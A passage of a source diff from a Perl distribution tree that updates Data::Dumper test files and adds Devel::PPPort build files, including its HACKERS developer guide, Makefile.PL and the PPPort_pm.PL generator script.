diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/pair.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/pair.t
index 9559bddab88..c7eafe472e4 100755
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/pair.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/pair.t
@@ -15,7 +15,7 @@ BEGIN {
}
use strict;
-use vars qw($want_colon $want_comma);
+our ($want_colon, $want_comma);
use Test::More tests => 9;
no warnings qw(once);
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t
index f287101ae34..3a7dc49b193 100644
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use Data::Dumper;
-use Test::More tests => 24;
+use Test::More tests => 22;
use lib qw( ./t/lib );
use Testing qw( _dumptostr );
@@ -80,14 +80,6 @@ note("\$Data::Dumper::Purity and Purity()");
is($dumps{'noprev'}, $dumps{'objzero'},
"No previous Purity setting equivalent to Purity(0)");
-
- $purity = undef;
- $obj = Data::Dumper->new([$a,$b,$c], [qw(a b c)]);
- $obj->Purity($purity);
- $dumps{'objundef'} = _dumptostr($obj);
-
- is($dumps{'noprev'}, $dumps{'objundef'},
- "No previous Purity setting equivalent to Purity(undef)");
}
{
@@ -364,13 +356,6 @@ note("\$Data::Dumper::Maxdepth and Maxdepth()");
is($dumps{'noprev'}, $dumps{'maxdepthempty'},
"No previous Maxdepth setting equivalent to Maxdepth() with no argument");
- $obj = Data::Dumper->new([$f], [qw(f)]);
- $obj->Maxdepth(undef);
- $dumps{'maxdepthundef'} = _dumptostr($obj);
-
- is($dumps{'noprev'}, $dumps{'maxdepthundef'},
- "No previous Maxdepth setting equivalent to Maxdepth(undef)");
-
$maxdepth = 3;
$obj = Data::Dumper->new([$f], [qw(f)]);
$obj->Maxdepth($maxdepth);
diff --git a/gnu/usr.bin/perl/dist/Data-Dumper/t/terse.t b/gnu/usr.bin/perl/dist/Data-Dumper/t/terse.t
index a5be98050c9..a815c365d59 100644
--- a/gnu/usr.bin/perl/dist/Data-Dumper/t/terse.t
+++ b/gnu/usr.bin/perl/dist/Data-Dumper/t/terse.t
@@ -3,7 +3,7 @@ use strict;
use warnings;
use Data::Dumper;
-use Test::More tests => 6;
+use Test::More tests => 10;
use lib qw( ./t/lib );
use Testing qw( _dumptostr );
@@ -23,39 +23,26 @@ for my $useperl (0..1) {
WANT
}
-my (%dumpstr);
my $dumper;
$dumper = Data::Dumper->new([$hash]);
-$dumpstr{noterse} = _dumptostr($dumper);
-# $VAR1 = {
-# 'foo' => 42
-# };
+my $dumpstr_noterse = _dumptostr($dumper);
$dumper = Data::Dumper->new([$hash]);
$dumper->Terse();
-$dumpstr{terse_no_arg} = _dumptostr($dumper);
+is _dumptostr($dumper), $dumpstr_noterse;
$dumper = Data::Dumper->new([$hash]);
$dumper->Terse(0);
-$dumpstr{terse_0} = _dumptostr($dumper);
+is _dumptostr($dumper), $dumpstr_noterse;
$dumper = Data::Dumper->new([$hash]);
$dumper->Terse(1);
-$dumpstr{terse_1} = _dumptostr($dumper);
-# {
-# 'foo' => 42
-# }
+isnt _dumptostr($dumper), $dumpstr_noterse;
$dumper = Data::Dumper->new([$hash]);
-$dumper->Terse(undef);
-$dumpstr{terse_undef} = _dumptostr($dumper);
-
-is($dumpstr{noterse}, $dumpstr{terse_no_arg},
- "absence of Terse is same as Terse()");
-is($dumpstr{noterse}, $dumpstr{terse_0},
- "absence of Terse is same as Terse(0)");
-isnt($dumpstr{noterse}, $dumpstr{terse_1},
- "absence of Terse is different from Terse(1)");
-is($dumpstr{noterse}, $dumpstr{terse_undef},
- "absence of Terse is same as Terse(undef)");
+is $dumper->Terse(1), $dumper;
+is $dumper->Terse, 1;
+is $dumper->Terse(undef), $dumper;
+is $dumper->Terse, undef;
+is _dumptostr($dumper), $dumpstr_noterse;
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/HACKERS b/gnu/usr.bin/perl/dist/Devel-PPPort/HACKERS
new file mode 100644
index 00000000000..285a2e12411
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/HACKERS
@@ -0,0 +1,324 @@
+=head1 NAME
+
+HACKERS - Devel::PPPort internals for hackers
+
+=head1 SYNOPSIS
+
+So you probably want to hack C<Devel::PPPort>?
+
+Well, here's some information to get you started with what's
+lying around in this distribution.
+
+=head1 DESCRIPTION
+
+=head2 How to build 366 versions of Perl
+
+C<Devel::PPPort> supports Perl versions between 5.003 and bleadperl.
+To guarantee this support, I need some of these versions on my
+machine. I currently have 366 different Perl version/configuration
+combinations installed on my laptop.
+
+As many of the old Perl distributions need patching to compile
+cleanly on newer systems (and because building 366 Perls by hand
+just isn't fun), I wrote a tool to build all the different
+versions and configurations. You can find it in F<devel/buildperl.pl>.
+It can currently build the following Perl releases:
+
+ 5.003
+ 5.004 - 5.004_05
+ 5.005 - 5.005_04
+ 5.6.x
+ 5.7.x
+ 5.8.x
+ 5.9.x
+ 5.1x.x
+
+=head2 Fully automatic API checks
+
+Knowing which parts of the API are not backwards compatible and
+probably need C<Devel::PPPort> support is another problem that's
+not easy to deal with manually. If you run
+
+ perl Makefile.PL --with-apicheck
+
+a C file is generated by F<parts/apicheck.pl> that is compiled
+and linked with C<Devel::PPPort>. This C file has the purpose of
+using each of the public API functions/macros once.
+
+The required information is derived from F<parts/embed.fnc> (just
+a copy of bleadperl's F<embed.fnc>), F<parts/apidoc.fnc> (which
+is generated by F<devel/mkapidoc.sh> and simply collects the rest
+of the apidoc entries spread over the Perl source code) and
+F<parts/ppport.fnc> (which lists all API provided purely by
+Devel::PPPort).
+The generated C file F<apicheck.c> is currently about 500k in size
+and takes quite a while to compile.
+
+Usually, F<apicheck.c> won't compile with older perls. And even if
+it compiles, there's still a good chance of the dynamic linker
+failing at C<make test> time. But that's on purpose!
+
+We can use these failures to find changes in the API automatically.
+The two Perl scripts F<devel/mktodo> and F<devel/mktodo.pl>
+repeatedly run C<Devel::PPPort> with the apicheck code through
+all different versions of perl. Scanning the output of the compiler
+and the dynamic linker for errors, the files in F<parts/todo/> are
+generated. These files list all parts of the public API that don't
+work with less than a certain version of Perl.
+
+This information is in turn used by F<parts/apicheck.pl> to mask
+API calls in the generated C file for these versions, so the
+process can be stopped by the time F<apicheck.c> compiles cleanly
+and the dynamic linker is happy. (Actually, this process may generate
+false positives, so by default each API call is checked once more
+afterwards.)
+
+Running F<devel/mktodo> takes about an hour, depending of course
+on the machine you're running it on. If you run it with
+the C<--nocheck> option, it won't recheck the API calls that failed
+in the compilation stage and it'll take significantly less time.
+Running with C<--nocheck> should usually be safe.
+
+When running F<devel/mktodo> with the C<--base> option, it will
+generate the I<baseline> todo files by disabling all functionality
+provided by C<Devel::PPPort>. These are required for implementing
+the C<--compat-version> option of the F<ppport.h> script. The
+baseline todo files hold the information about which version of
+Perl lacks a certain part of the API.
+
+However, only the documented public API can be checked this way.
+And since C<Devel::PPPort> provides more macros, these would not be
+affected by C<--compat-version>. It's the job of F<devel/scanprov>
+to figure out the baseline information for all remaining provided
+macros by scanning the include files in the F<CORE> directory of
+various Perl versions.
+
+The whole process isn't platform independent. It has currently been
+tested only under Linux, and it definitely requires at least C<gcc> and
+the C<nm> utility.
+
+It's not very often that one has to regenerate the baseline and todo
+files. If you have to, you can either run F<devel/regenerate> or just
+execute the following steps by hand:
+
+=over 4
+
+=item *
+
+You need a whole bunch of different Perls. The more, the better.
+You can use F<devel/buildperl.pl> to build them. I keep my perls
+in F</tmp/perl>, so most of the tools take this as a default.
+
+=item *
+
+You also need a freshly built bleadperl that is in the path under
+exactly this name. (The name of the executable is currently hardcoded
+in F<devel/mktodo> and F<devel/scanprov>.)
+
+=item *
+
+Remove all existing todo files in the F<parts/base> and
+F<parts/todo> directories.
+
+=item *
+
+Update the API information. Copy the latest F<embed.fnc> file from
+bleadperl to the F<parts> directory and run F<devel/mkapidoc.sh> to
+collect the remaining information in F<parts/apidoc.fnc>.
+
+=item *
+
+Build the new baseline by running
+
+ perl devel/mktodo --base
+
+in the root directory of the distribution. When it's finished,
+move all files from the F<parts/todo> directory to F<parts/base>.
+
+=item *
+
+Build the new todo files by running
+
+ perl devel/mktodo
+
+in the root directory of the distribution.
+
+=item *
+
+Finally, add the remaining baseline information by running
+
+ perl Makefile.PL && make
+ perl devel/scanprov --mode=write
+
+=back
+
+=head2 Implementation
+
+Residing in F<parts/inc/> is the "heart" of C<Devel::PPPort>. Each
+of the files implements a part of the supported API, along with
+hints, dependency information, XS code and tests.
+The files are in a POD-like format that is parsed using the
+functions in F<parts/ppptools.pl>.
+
+The scripts F<PPPort_pm.PL>, F<PPPort_xs.PL> and F<mktests.PL> all
+use the information in F<parts/inc/> to generate the main module
+F<PPPort.pm>, the XS code in F<RealPPPort.xs> and various test files
+in F<t/>.
+
+All of these files could be generated on the fly while building
+C<Devel::PPPort>, but not having the tests in F<t/> will confuse
+TEST/harness in the core. Not having F<PPPort.pm> will be bad for
+viewing the docs on C<search.cpan.org>. So unfortunately, it's
+unavoidable to put some redundancy into the package.
+
+=head2 Adding stuff to Devel::PPPort
+
+First, check if the code you plan to add fits into one of the
+existing files in F<parts/inc/>. If not, just start a new one and
+remember to include it from within F<PPPort_pm.PL>.
+
+Each file holds all relevant data for implementing a certain part
+of the API:
+
+=over 2
+
+=item *
+
+A list of the provided API in the C<=provides> section.
+
+=item *
+
+The implementation to add to F<ppport.h> in the C<=implementation>
+section.
+
+=item *
+
+The code required to add to PPPort.xs for testing the implementation.
+This code goes into the C<=xshead>, C<=xsinit>, C<=xsmisc>, C<=xsboot>
+and C<=xsubs> section. Have a look at the template at the bottom
+of F<PPPort_xs.PL> to see where the code ends up.
+
+=item *
+
+The tests in the C<=tests> section. Remember not to use any fancy
+modules or syntax elements, as the test code should be able to run
+with Perl 5.003, which, for example, doesn't support C<my> in
+C<for>-loops:
+
+ for my $x (1, 2, 3) { } # won't work with 5.003
+
+You can use C<ok()> to report success or failure:
+
+ ok($got == 42);
+ ok($got, $expected);
+
+Regular expressions are not supported as the second argument to C<ok>,
+because older perls do not support the C<qr> operator.
+
+=back
+
+It's usually the best approach to just copy an existing file and
+use it as a template.
+
+=head2 Implementation Hints
+
+In the C<=implementation> section, you can use
+
+ __UNDEFINED__ macro some definition
+
+instead of
+
+ #ifndef macro
+ # define macro some definition
+ #endif
+
+The macro can have optional arguments and the definition can even
+span multiple lines, like in
+
+ __UNDEFINED__ SvMAGIC_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) >= SVt_PVMG); \
+ (((XPVMG*) SvANY(sv))->xmg_magic = (val)); } STMT_END
+
+This usually makes the code more compact and readable. And you
+only have to add C<__UNDEFINED__> to the C<=provided> section.
+
+Version checking can be tricky if you want to do it correct.
+You can use
+
+ #if { VERSION < 5.9.3 }
+
+instead of
+
+ #if ((PERL_VERSION < 9) || (PERL_VERSION == 9 && PERL_SUBVERSION < 3))
+
+The version number can be either of the new form C<5.x.x> or of the older
+form C<5.00x_yy>. Both are translated into the correct preprocessor
+statements. It is also possible to combine this with other statements:
+
+ #if { VERSION >= 5.004 } && !defined(sv_vcatpvf)
+ /* a */
+ #elif { VERSION < 5.004_63 } && { VERSION != 5.004_05 }
+ /* b */
+ #endif
+
+This not only works in the C<=implementation> section, but also in
+the C<=xsubs>, C<=xsinit>, C<=xsmisc>, C<=xshead> and C<=xsboot> sections.
+
+=head2 Testing
+
+To automatically test C<Devel::PPPort> with lots of different Perl
+versions, you can use the F<soak> script. Just pass it a list of
+all Perl binaries you want to test.
+
+=head2 Special Makefile targets
+
+You can use
+
+ make regen
+
+to regenerate all of the autogenerated files. To get rid of all
+generated files (except for F<parts/todo/*> and F<parts/base/*>),
+use
+
+ make purge_all
+
+That's it.
+
+=head2 Submitting Patches
+
+If you've added some functionality to C<Devel::PPPort>, please
+consider submitting a patch with your work to P5P by sending a mail
+L<perlbug@perl.org|mailto:perlbug@perl.org>.
+
+When submitting patches, please only add the relevant changes
+and don't include the differences of the generated files. You
+can use the C<purge_all> target to delete all autogenerated
+files.
+
+=head2 Integrating into the Perl core
+
+When integrating this module into the Perl core, be sure to
+remove the following files from the distribution. They are
+either not needed or generated on the fly when building this
+module in the core:
+
+ MANIFEST
+ META.yml
+ PPPort.pm
+
+=head1 COPYRIGHT
+
+Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+
+Version 2.x, Copyright (C) 2001, Paul Marquess.
+
+Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See F<ppport.h> and F<devel/regenerate>.
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/Makefile.PL b/gnu/usr.bin/perl/dist/Devel-PPPort/Makefile.PL
new file mode 100644
index 00000000000..117f9d107aa
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/Makefile.PL
@@ -0,0 +1,154 @@
+################################################################################
+#
+# Makefile.PL -- generate Makefile
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+require 5.003;
+
+use strict;
+use ExtUtils::MakeMaker;
+
+use vars '%opt'; # needs to be global, and we can't use 'our'
+
+unless ($ENV{'PERL_CORE'}) {
+ $ENV{'PERL_CORE'} = 1 if grep { $_ eq 'PERL_CORE=1' } @ARGV;
+}
+
+@ARGV = map { /^--with-(apicheck)$/ && ++$opt{$1} ? () : $_ } @ARGV;
+
+WriteMakefile(
+ NAME => 'Devel::PPPort',
+ VERSION_FROM => 'PPPort_pm.PL',
+ PM => { 'PPPort.pm' => '$(INST_LIBDIR)/PPPort.pm' },
+ H => [ qw(ppport.h) ],
+ OBJECT => 'RealPPPort$(OBJ_EXT) $(O_FILES)',
+ XSPROTOARG => '-noprototypes',
+ CONFIGURE => \&configure,
+ META_MERGE => {
+ 'meta-spec' => {
+ version => 2,
+ },
+ resources => {
+ bugtracker => {
+ web => 'https://rt.perl.org/rt3/',
+ },
+ repository => {
+ type => 'git',
+ url => 'git://perl5.git.perl.org/perl.git',
+ web => 'https://perl5.git.perl.org/perl.git',
+ },
+ },
+ },
+);
+
+sub configure
+{
+ my @clean = qw{ $(H_FILES) RealPPPort.xs RealPPPort.c };
+ my %depend = ('$(OBJECT)' => '$(H_FILES)');
+ my @C_FILES = qw{ module2.c module3.c },
+ my %PL_FILES = (
+ 'ppport_h.PL' => 'ppport.h',
+ 'PPPort_pm.PL' => 'PPPort.pm',
+ 'PPPort_xs.PL' => 'RealPPPort.xs',
+ );
+ my @moreopts;
+
+ if (eval $ExtUtils::MakeMaker::VERSION >= 6) {
+ push @moreopts, AUTHOR => 'Marcus Holland-Moritz <mhx@cpan.org>';
+ if (-f 'PPPort.pm') {
+ push @moreopts, ABSTRACT_FROM => 'PPPort.pm';
+ }
+ }
+
+ if (eval $ExtUtils::MakeMaker::VERSION >= 6.30_01) {
+ print "Setting license tag...\n";
+ push @moreopts, LICENSE => 'perl';
+ }
+
+ if ($ENV{'PERL_CORE'}) {
+ # Pods will be built by installman.
+ push @clean, 'PPPort.pm';
+ }
+ else {
+ # Devel::PPPort is in the core since 5.7.3
+ # 5.11.0+ has site before perl
+ push @moreopts, INSTALLDIRS => (
+ ($] >= 5.007003 and $] < 5.011)
+ ? 'perl'
+ : 'site'
+ );
+ }
+
+ if ($opt{'apicheck'}) {
+ $PL_FILES{'apicheck_c.PL'} = 'apicheck.c';
+ push @C_FILES, qw{ apicheck.c };
+ push @clean, qw{ apicheck.c apicheck.i };
+ $depend{'apicheck.i'} = 'ppport.h';
+ }
+
+ return {
+ C => \@C_FILES,
+ XS => { 'RealPPPort.xs' => 'RealPPPort.c' },
+ PL_FILES => \%PL_FILES,
+ depend => \%depend,
+ clean => { FILES => "@clean" },
+ @moreopts,
+ };
+}
+
+sub MY::postamble
+{
+ package MY;
+ my $post = shift->SUPER::postamble(@_);
+ $post .= <<'POSTAMBLE';
+
+purge_all: realclean
+ @$(RM_F) PPPort.pm t/*.t
+
+regen_pm:
+ $(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) -I$(PERL_ARCHLIB) -I$(PERL_LIB) PPPort_pm.PL
+
+regen_xs:
+ $(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) -I$(PERL_ARCHLIB) -I$(PERL_LIB) PPPort_xs.PL
+
+regen_tests:
+ $(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) -I$(PERL_ARCHLIB) -I$(PERL_LIB) mktests.PL
+
+regen_h:
+ $(PERL) -I$(INST_ARCHLIB) -I$(INST_LIB) -I$(PERL_ARCHLIB) -I$(PERL_LIB) ppport_h.PL
+
+regen: regen_pm regen_xs regen_tests regen_h
+
+POSTAMBLE
+ return $post;
+}
+
+sub MY::c_o
+{
+ package MY;
+ my $co = shift->SUPER::c_o(@_);
+
+ if ($::opt{'apicheck'} && $co !~ /^\.c\.i:/m) {
+ print "Adding custom rule for preprocessed apicheck file...\n";
+
+ $co .= <<'CO'
+
+.SUFFIXES: .i
+
+.c.i:
+ $(CCCMD) -E -I$(PERL_INC) $(DEFINE) $*.c > $*.i
+CO
+ }
+
+ return $co;
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort.xs b/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort.xs
new file mode 100644
index 00000000000..2586824ebb0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort.xs
@@ -0,0 +1,3 @@
+This is just a dummy file to let Configure know that Devel::PPPort
+is an XS module. The real XS code is autogenerated from PPPort_xs.PL
+when this module is built and will go to RealPPPort.xs.
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_pm.PL b/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_pm.PL
new file mode 100644
index 00000000000..1a514f729d5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_pm.PL
@@ -0,0 +1,681 @@
+################################################################################
+#
+# PPPort_pm.PL -- generate PPPort.pm
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+$^W = 1;
+require "./parts/ppptools.pl";
+
+my $INCLUDE = 'parts/inc';
+my $DPPP = 'DPPP_';
+
+my %embed = map { ( $_->{name} => $_ ) }
+ parse_embed(qw(parts/embed.fnc parts/apidoc.fnc parts/ppport.fnc));
+
+my(%provides, %prototypes, %explicit);
+
+my $data = do { local $/; <DATA> };
+$data =~ s{^\%(include)\s+(\w+)((?:[^\S\r\n]+.*?)?)\s*$}
+ {eval "$1('$2', $3)" or die $@}gem;
+
+$data = expand($data);
+
+my @api = sort { lc $a cmp lc $b or $a cmp $b } keys %provides;
+
+$data =~ s{^(.*)__PROVIDED_API__(\s*?)^}
+ {join '', map "$1$_\n", @api}gem;
+
+{
+ my $len = 0;
+ for (keys %explicit) {
+ length > $len and $len = length;
+ }
+ my $format = sprintf '%%-%ds %%-%ds %%s', $len+2, $len+5;
+ $len = 3*$len + 23;
+
+$data =~ s!^(.*)__EXPLICIT_API__(\s*?)^!
+ sprintf("$1$format\n", 'Function / Variable', 'Static Request', 'Global Request') .
+ $1 . '-'x$len . "\n" .
+ join('', map { sprintf "$1$format\n", $explicit{$_} eq 'var' ? $_ : "$_()", "NEED_$_", "NEED_${_}_GLOBAL" }
+ sort keys %explicit)
+ !gem;
+}
+
+my %raw_base = %{&parse_todo('parts/base')};
+my %raw_todo = %{&parse_todo('parts/todo')};
+
+my %todo;
+for (keys %raw_todo) {
+ push @{$todo{$raw_todo{$_}}}, $_;
+}
+
+# check consistency
+for (@api) {
+ if (exists $raw_todo{$_} and exists $raw_base{$_}) {
+ if ($raw_base{$_} eq $raw_todo{$_}) {
+ warn "$INCLUDE/$provides{$_} provides $_, which is still marked "
+ . "todo for " . format_version($raw_todo{$_}) . "\n";
+ }
+ else {
+ check(2, "$_ was ported back to " . format_version($raw_todo{$_}) .
+ " (baseline revision: " . format_version($raw_base{$_}) . ").");
+ }
+ }
+}
+
+my @perl_api;
+for (keys %provides) {
+ next if /^Perl_(.*)/ && exists $embed{$1};
+ next if exists $embed{$_};
+ push @perl_api, $_;
+ check(2, "No API definition for provided element $_ found.");
+}
+
+push @perl_api, keys %embed;
+
+for (@perl_api) {
+ if (exists $provides{$_} && !exists $raw_base{$_}) {
+ check(2, "Mmmh, $_ doesn't seem to need backporting.");
+ }
+ my $line = "$_|" . (exists $provides{$_} && exists $raw_base{$_} ? $raw_base{$_} : '') . '|';
+ $line .= ($raw_todo{$_} || '') . '|';
+ $line .= 'p' if exists $provides{$_};
+ if (exists $embed{$_}) {
+ my $e = $embed{$_};
+ if (exists $e->{flags}{p}) {
+ my $args = $e->{args};
+ $line .= 'v' if @$args && $args->[-1][0] eq '...';
+ }
+ $line .= 'n' if exists $e->{flags}{n};
+ }
+ $_ = $line;
+}
+
+$data =~ s/^([\t ]*)__PERL_API__(\s*?)$/
+ join "\n", map "$1$_", sort @perl_api
+ /gem;
+
+my @todo;
+for (reverse sort keys %todo) {
+ my $ver = format_version($_);
+ my $todo = "=item perl $ver\n\n";
+ for (sort @{$todo{$_}}) {
+ $todo .= " $_\n";
+ }
+ push @todo, $todo;
+}
+
+$data =~ s{^__UNSUPPORTED_API__(\s*?)^}
+ {join "\n", @todo}gem;
+
+$data =~ s{__MIN_PERL__}{5.003}g;
+$data =~ s{__MAX_PERL__}{5.20}g;
+
+open FH, ">PPPort.pm" or die "PPPort.pm: $!\n";
+print FH $data;
+close FH;
+
+exit 0;
+
+sub include
+{
+ my($file, $opt) = @_;
+
+ print "including $file\n";
+
+ my $data = parse_partspec("$INCLUDE/$file");
+
+ for (@{$data->{provides}}) {
+ if (exists $provides{$_}) {
+ if ($provides{$_} ne $file) {
+ warn "$file: $_ already provided by $provides{$_}\n";
+ }
+ }
+ else {
+ $provides{$_} = $file;
+ }
+ }
+
+ for (keys %{$data->{prototypes}}) {
+ $prototypes{$_} = $data->{prototypes}{$_};
+ $data->{implementation} =~ s/^$_(?=\s*\()/$DPPP(my_$_)/mg;
+ }
+
+ my $out = $data->{implementation};
+
+ if (exists $opt->{indent}) {
+ $out =~ s/^/$opt->{indent}/gm;
+ }
+
+ return $out;
+}
+
+sub expand
+{
+ my $code = shift;
+ $code =~ s{^(\s*#\s*(?:el)?if\s+)(.*)$}{$1.expand_pp_expressions($2)}gem;
+ $code =~ s{^\s*
+ __UNDEFINED__
+ \s+
+ (
+ ( \w+ )
+ (?: \( [^)]* \) )?
+ )
+ [^\r\n\S]*
+ (
+ (?:[^\r\n\\]|\\[^\r\n])*
+ (?:
+ \\
+ (?:\r\n|[\r\n])
+ (?:[^\r\n\\]|\\[^\r\n])*
+ )*
+ )
+ \s*$}
+ {expand_undefined($2, $1, $3)}gemx;
+ $code =~ s{^([^\S\r\n]*)__NEED_VAR__\s+(.*?)\s+(\w+)(?:\s*=\s*([^;]+?))?\s*;\s*$}
+ {expand_need_var($1, $3, $2, $4)}gem;
+ $code =~ s{^([^\S\r\n]*)__NEED_DUMMY_VAR__\s+(.*?)\s+(\w+)(?:\s*=\s*([^;]+?))?\s*;\s*$}
+ {expand_need_dummy_var($1, $3, $2, $4)}gem;
+ return $code;
+}
+
+sub expand_need_var
+{
+ my($indent, $var, $type, $init) = @_;
+
+ $explicit{$var} = 'var';
+
+ my $myvar = "$DPPP(my_$var)";
+ $init = defined $init ? " = $init" : "";
+
+ my $code = <<ENDCODE;
+#if defined(NEED_$var)
+static $type $myvar$init;
+#elif defined(NEED_${var}_GLOBAL)
+$type $myvar$init;
+#else
+extern $type $myvar;
+#endif
+#define $var $myvar
+ENDCODE
+
+ $code =~ s/^/$indent/mg;
+
+ return $code;
+}
+
+sub expand_need_dummy_var
+{
+ my($indent, $var, $type, $init) = @_;
+
+ $explicit{$var} = 'var';
+
+ my $myvar = "$DPPP(dummy_$var)";
+ $init = defined $init ? " = $init" : "";
+
+ my $code = <<ENDCODE;
+#if defined(NEED_$var)
+static $type $myvar$init;
+#elif defined(NEED_${var}_GLOBAL)
+$type $myvar$init;
+#else
+extern $type $myvar;
+#endif
+ENDCODE
+
+ $code =~ s/^/$indent/mg;
+
+ return $code;
+}
+
+sub expand_undefined
+{
+ my($macro, $withargs, $def) = @_;
+ my $rv = "#ifndef $macro\n# define ";
+
+ if (defined $def && $def =~ /\S/) {
+ $rv .= sprintf "%-30s %s", $withargs, $def;
+ }
+ else {
+ $rv .= $withargs;
+ }
+
+ $rv .= "\n#endif\n";
+
+ return $rv;
+}
+
+sub expand_pp_expressions
+{
+ my $pp = shift;
+ $pp =~ s/\{([^\}]+)\}/expand_pp_expr($1)/ge;
+ return $pp;
+}
+
+sub expand_pp_expr
+{
+ my $expr = shift;
+
+ if ($expr =~ /^\s*need\s+(\w+)\s*$/i) {
+ my $func = $1;
+ my $e = $embed{$func} or die "unknown API function '$func' in NEED\n";
+ my $proto = make_prototype($e);
+ if (exists $prototypes{$func}) {
+ if (compare_prototypes($proto, $prototypes{$func})) {
+ check(1, "differing prototypes for $func:\n API: $proto\n PPP: $prototypes{$func}");
+ $proto = $prototypes{$func};
+ }
+ }
+ else {
+ warn "found no prototype for $func\n";;
+ }
+
+ $explicit{$func} = 'func';
+
+ $proto =~ s/\b$func(?=\s*\()/$DPPP(my_$func)/;
+ my $embed = make_embed($e);
+
+ return "defined(NEED_$func)\n"
+ . "static $proto;\n"
+ . "static\n"
+ . "#else\n"
+ . "extern $proto;\n"
+ . "#endif\n"
+ . "\n"
+ . "#if defined(NEED_$func) || defined(NEED_${func}_GLOBAL)\n"
+ . "\n"
+ . "$embed\n";
+ }
+
+ die "cannot expand preprocessor expression '$expr'\n";
+}
+
+sub make_embed
+{
+ my $f = shift;
+ my $n = $f->{name};
+ my $a = do { my $x = 'a'; join ',', map { $x++ } 1 .. @{$f->{args}} };
+ my $lastarg = ${$f->{args}}[-1];
+
+ if ($f->{flags}{n}) {
+ if ($f->{flags}{p}) {
+ return "#define $n $DPPP(my_$n)\n" .
+ "#define Perl_$n $DPPP(my_$n)";
+ }
+ else {
+ return "#define $n $DPPP(my_$n)";
+ }
+ }
+ else {
+ my $undef = <<UNDEF;
+#ifdef $n
+# undef $n
+#endif
+UNDEF
+ if ($f->{flags}{p}) {
+ if ($f->{flags}{f}) {
+ return "#define Perl_$n $DPPP(my_$n)";
+ }
+ elsif (@$lastarg && $lastarg->[0] =~ /\.\.\./) {
+ return $undef . "#define $n $DPPP(my_$n)\n" .
+ "#define Perl_$n $DPPP(my_$n)";
+ }
+ else {
+ return $undef . "#define $n($a) $DPPP(my_$n)(aTHX_ $a)\n" .
+ "#define Perl_$n $DPPP(my_$n)";
+ }
+ }
+ else {
+ return $undef . "#define $n($a) $DPPP(my_$n)(aTHX_ $a)";
+ }
+ }
+}
+
+sub check
+{
+ my $level = shift;
+
+ if (exists $ENV{DPPP_CHECK_LEVEL} and $ENV{DPPP_CHECK_LEVEL} >= $level) {
+ print STDERR @_, "\n";
+ }
+}
+
+__DATA__
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! -- Edit PPPort_pm.PL instead. !!!!!
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by PPPort_pm.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+#
+# Perl/Pollution/Portability
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+=head1 NAME
+
+Devel::PPPort - Perl/Pollution/Portability
+
+=head1 SYNOPSIS
+
+ Devel::PPPort::WriteFile(); # defaults to ./ppport.h
+ Devel::PPPort::WriteFile('someheader.h');
+
+ # Same as above but retrieve contents rather than write file
+ my $contents = Devel::PPPort::GetFileContents();
+ my $contents = Devel::PPPort::GetFileContents('someheader.h');
+
+=head1 DESCRIPTION
+
+Perl's API has changed over time, gaining new features, new functions,
+increasing its flexibility, and reducing the impact on the C namespace
+environment (reduced pollution). The header file written by this module,
+typically F<ppport.h>, attempts to bring some of the newer Perl API
+features to older versions of Perl, so that you can worry less about
+keeping track of old releases, but users can still reap the benefit.
+
+C<Devel::PPPort> contains two functions, C<WriteFile> and C<GetFileContents>.
+C<WriteFile>'s only purpose is to write the F<ppport.h> C header file.
+This file contains a series of macros and, if explicitly requested, functions
+that allow XS modules to be built using older versions of Perl. Currently,
+Perl versions from __MIN_PERL__ to __MAX_PERL__ are supported.
+
+C<GetFileContents> can be used to retrieve the file contents rather than
+writing it out.
+
+This module is used by C<h2xs> to write the file F<ppport.h>.
+
+=head2 Why use ppport.h?
+
+You should use F<ppport.h> in modern code so that your code will work
+with the widest range of Perl interpreters possible, without significant
+additional work.
+
